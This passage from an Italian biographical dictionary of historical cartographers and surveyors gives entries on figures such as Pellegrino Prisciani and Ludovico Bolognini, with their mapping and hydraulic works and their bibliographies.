Alcuni anni più tardi tra il 1582 e il 1583 andò a Ferrara per eseguire disegni su alcuni territori (Riviera Po Stellata, Ramo Po tra Stellata e S.Giorgio, Argenta). Continuò poi ad occuparsi di progetti di sistemazione idraulica. Così nel 1585 si interessò al progetto dell’allontanamento delle acque dei canali d’Enza e di S. Cosmo dalle fosse della città di Ferrara. Fra i rilievi di territori eseguiti per cause di confine fece opere che rappresentavano la zona del lago Santo, alcune della Garfagnana e di Stezzema. Nel 1586 portò a termine un disegno della corte benedettina del Traghettino tra il Crostolo e la cava di Cadelbosco Sopra. Maggior interesse desta il disegno del tratto del F. Enza tra Montecchio e S. Polo. Costruì la pianta di Montecchio e pochi anni più tardi fece il progetto di bonifica ai fini di utilizzazione delle acque per i mulini a Novella corredando il tutto con una carta della bassa reggiana tra il f. Crostolo e il Reggiolo.
Nel 1591 costruisce una grande pianta della città di Reggio Emilia riprendendola probabilmente da una copia (in suo possesso) di quella costruita nel 1552 mai più ritrovata. La scala utilizzata dal nostro perito è di 1:3000. Era disegnata a volo d’uccello e priva di dascalie. Era esposta nella sala del Consiglio comunale sopra il camino; questa localizzazione determinò, a causa dei fumi, gravissimi danni. Questa sembra essere stata la sua ultima opera.
Gran parte del materiale cartografico e dei documenti che testimoniano la sua operosità si ritrovano negli archivi di stato di Reggio Emilia, di Modena e di Ferrara.

Interessante attualmente è stato è il recupero della “veduta” di Reggio Emilia da parte del locale Archivio di Stato.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
BADINI G, (a cura di), La veduta Camuncoli, Archivio di Stato di Reggio Emilia, 1995.
BARICCHI W., I periti agrimensori del territorio di Reggio Emilia, tra il XV e il XIX secolo, in Le mappe rurali nel territorio di Reggio Emilia, Agricoltura e paesaggio tra XVI e XIX secolo, Grafis Ed., 1985
MORI A., Le antiche bonifiche della bassa reggiana, Parma, La Bodoniana, 1923
NIRONI V., La riforma cinquecentesca delle mura di Reggio, in Boll. Storico reggiano, n.11, 1971.
PICCININI G., Piante e vedute di Reggio nell’Emilia, Libr. Nironi, Reggio Emilia, 1939.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Calderini, Stefano Maria

Stefano Maria Calderini
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Vissuto nel XVIII secolo a Reggio Emilia

Produzione scientifica:
Fu uno dei primi nove “Numerari” del Collegio di Reggio nominato tale il 14 febbraio del 1787 per motu proprio del Duca. Ha quindi 2patenti2 del “pubblico” e del Consiglio dell’Economia”.
Nel 1794 fa rilevamenti a Cadelbosco Sottoe a Budrio e nel 1795-96 fa la delineazione di edifici della “comuna Gallana” della cattedrale di Reggio, qualificandosi come ingegnere di Sua Altezza Serenissima.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti A.S.RE. Atti del Collegio Periti Agrimensori
A.S.Mo. Collegio Periti Agrimensori 1786-1787

Bibliografia
NIRONI V., Professioni, tecniche e studi tecnici in Reggio Emilia durante il secolo XVIII, Reggio Emilia, 1970.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Resini, Pelligrino

Pellegrino Resini
N. Reggio Emilia 1556
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Ricopre incarichi continuativi presso il comune per opere di ristrutturazione degli edifici e per determinare l’utilizzazione dei terreni comunali (es. piantagione di gelsi).
La sua attività è documentata nel 1586 per la presenza di una mappa inclusa nel volume delle Piante dei Beni della Pia Casa della Carità. Inoltre è indicato con la carica di agrimensore presso l ‘Ospedale dei SS. Pietro e Matteo nel 1588. Nel 1611 fa rilevamenti dei terreni posseduti dal medesimo ospedale. Esegue opere di rilevazione nei terreni della Famiglia Zucchi nel 1619. Appare come agrimensore ndell’Ospedale di S. Maria Nuova nel 1633. Nel 1636 gli succede Prospero Ferrarini negli incarichi presso il comune.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A.S.Re, in Arch. Corp. Rel Saffi (?), Archivi privati (Dongiovanni e Zucchi)

BIBLIOGRAFIA
BARICCHI W., I periti agrimensori di Reggio Emilia tra il XV e il XIX secolo, in Le mappe rurali del territorio di Reggio Emilia : agricoltura e paesaggio tra 16. e 19, Casalecchio di Reno, Grafis, 1985.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Prisciani, Pellegrino

Pellegrino Prisciani
N. Ferrara 1435
M. 1518

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Funzionario ducale, bibliotecario, storico, cartografo

Biografia:
Fu un funzionario dalle molteplici attività al servizio dei duchi d’Este, a Ferrara: segretario ducale e fattore generale, archivista e bibliotecario, ambasciatore a Venezia e a Roma, podestà di Reggio fra 1483 e 1484, ma anche storico e astrologo. Di lui si possono ricordare il trattato astrologico Ortopasca, che conferma l’inclinazione verso l’astrologia assai diffusa presso la corte degli Este, e l’operetta Spectacula sui teatri e sugli anfiteatri antichi, studiati sia dal punto di vista architettonico, sia da quello relativo all’acustica, che si connette con il risveglio dell’interesse per lo spettacolo teatrale a Ferrara. Ma l’opera più importante, anche per l’attenzione verso la cartografia e l’approfondimento degli aspetti del territorio, sono le Historiae Ferrariae o Annales Ferrarienses, un testo giunto a noi mutilo, illustrato da immagini di paesaggi, da carte geografiche, da ritratti, tutti estremamente accurati (presso l’Archivio di Stato di Modena, Biblioteca, Manoscritti, nn. 129-133, si conservano i libri I, IV, VII, VIII, IX autografi, mentre la Biblioteca Estense Universitaria di Modena e la Biblioteca Comunale Ariostea di Ferrara conservano copie successive, di altra mano, dei medesimi libri. Nel Fondo Campori della Biblioteca Estense si trova, in più, una parte non autografa del libro II). Le carte geografiche contenute in esso sono un’Italia tolemaica disegnata alle carte 11v – 12r del libro I, la riproduzione di un tratto della Tabula Peutingeriana che comprende il territorio da Verona a Ravenna alle carte 44v – 45r del libro I e la pianta di Ferrara che occupa le carte 20v – 21r del IV libro. Il Prisciani esprime l’intenzione di inserire nel manoscritto anche quattro carte corografiche del Ferrarese, per introdurre le quali riprende la nota definizione tolemaica che distingue la corografia dalla geografia per poi descrivere il contenuto di ogni tavola: la prima dovrà rappresentare il territorio di Ferrara nell’età antica, la seconda ai tempi della rotta di Ficarolo (1152), la terza successivamente alla rotta, la quarta al tempo del Prisciani. Purtroppo l’autore, pur avendo destinato alle rappresentazioni tre doppie pagine con la cornice già tracciata, non si applicò mai al disegno, forse non avendo trovato un modello accettabile al quale fare riferimento.
Di grande interesse è la riproduzione del tratto della Tabula Peutingeriana che interessa il Ferrarese e che, confrontato con l’originale conservato presso la Nationalbibliothek di Vienna, presenta pochissime differenze che si possono riassumere nell’aggiunta di due affluenti di sinistra del Po e di uno di destra. Alla confluenza di quest’ultimo affluente con il Po e a metà strada fra Ostiglia e Ravenna, in posizione centrale nella rappresentazione, si trova Forum Alieni, nel quale forse il Prisciani vuole identificare l’origine di Ferrara. Da questo centro, fra l’altro, vengono computate le distanze da Hostilia e da Ravenna, che ammontano in ambedue i casi a 53 miglia. In basso la carta reca due cartigli con informazioni di grande importanza relativamente alla sua origine e al suo contenuto: la Cosmographia quaedam antiquissima, come la definisce il Prisciani, fu da lui reperita appesa nell’anticamera del vescovo di Verona Jacopo Zeno e lì copiata. La descrive come molto vecchia e di difficile interpretazione per il fatto di essere scritta parzialmente in caratteri greci. Pare fosse stata donata agli ambasciatori veneziani accreditati presso il Concilio di Basilea svoltosi fra il 1431 e il 1449 e da essi affidata al vescovo Zeno, che, morendo nel 1481, la lasciò a sua volta al vescovado. Come molti dei libri della ricchissima biblioteca del vescovo veronese, anch’essa scomparve quasi subito senza lasciare traccia: la copia del Prisciani diventa così, forse, l’unica testimonianza rimasta di un esemplare della Tabula Peutingeriana, parzialmente scritto in greco, diverso e più antico rispetto alla copia medioevale reperita da Konrad Celtes, che si può ammirare a Vienna. Questo prototipo sarebbe anch’esso scomparso. La tavola riprodotta dal Prisciani consente dunque di arricchire le testimonianze relative alla notissima Tabula Peutingeriana, confermando l’interesse che ha sempre suscitato negli studiosi questa copia della rappresentazione antica dell’impero romano. Non è un caso che proprio a Ferrara un umanista con dichiarati interessi geografici ne resti incuriosito e si preoccupi di realizzarne una riproduzione relativamente al territorio dove opera, forse ancora prima che il Celtes facesse la sua scoperta in un monastero tedesco.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A.S.Mo., Biblioteca, Manoscritti, nn. 129-133.

D. AGUZZI BARBAGLI, Pellegrini Prisciani, Spectacula, Modena, Panini, 1992; T. BACCHI, Pellegrino Prisciani e la sua vocazione cartografica, in “Schifanoia”, n. 6 (1988), pp. 187-191; A. BONDANINI, Contributi per la storia della cartografia ferrarese, Ferrara, Deputazione Provinciale Ferrarese di Storia Patria, 1981; P. GAUTIER DALCHÉ, La trasmissione medievale e rinascimentale della Tabula Peutingeriana, in F. PRONTERA (a cura), Tabula Peutingeriana. Le antiche vie del mondo, Firenze, Olschki, 2003, pp. 43-52; A. ROTONDO’, Pellegrino Prisciani (1435 ca-1518), in “Rinascimento”, IX (1960), pp. 69-110.

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni

Bolognini, Ludovico

Ludovico Bolognini
N. Bologna 14 aprile 1749
M. Parma 8 giugno 1816

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Perito agrimensore poi ingegnere

Biografia:

Produzione scientifica:
Ebbe un’ intensa attività a servizio degli Estensi producendo opere di vario carattere;poiché si occuperà di delineazione di edifici, di opere di ingegneria civile, di opere di meccanica idraulica.. E’ infatti presente negli uffici di idraulica a Reggio Emilia e a Modena. Si occupò di opere di irrigazione, canalizzazione, arginature e bonifiche. Si occupò del progetto per l’arginatura del Po - Maglia, fece progetti di bonifica nel 1777 nel distretto di Reggio Emilia, nel 1778 due relazioni sempre di bonifica a Castelnuovo di Sotto e di Novellara, di Bagnolo . Nel 1780 vi fu la stampa a Modena delle “Istruzioni pratiche de Deputati delle acque e strade del Reggiano”. Progettò nel 1783 la strada da Reggio alla Lunigiana (iniziata nel 1785 e terminata tra il 1823 e il 1830) attraverso Castelnuovo. Fu inoltre il progettista dei ponti sul Panaro, sul Crostoso e sul Secchia. Nel 1810 fu nominato ingegnere capo per le opere straordinarie e costruì le botti sotterranee del Reno e del Panaro per l’inalveamento del Reno nel Po. Fu consulente per la costruzione del ponte sul Panaro.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
DIZIONARIO Biografico degli Italiani, Roma, Istituto della Enciclopedia Italiana, vol. 11, 1969.
MANZINI E.. Memorie storiche dei Reggiani più illustri nelle scienze nelle lettere e nelle arti dal 1768 al 1877, Reggio, 1878, pp. 60-64.
PICCININI G, Guida a Reggio nell’Emilia, Reggio, 1911

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin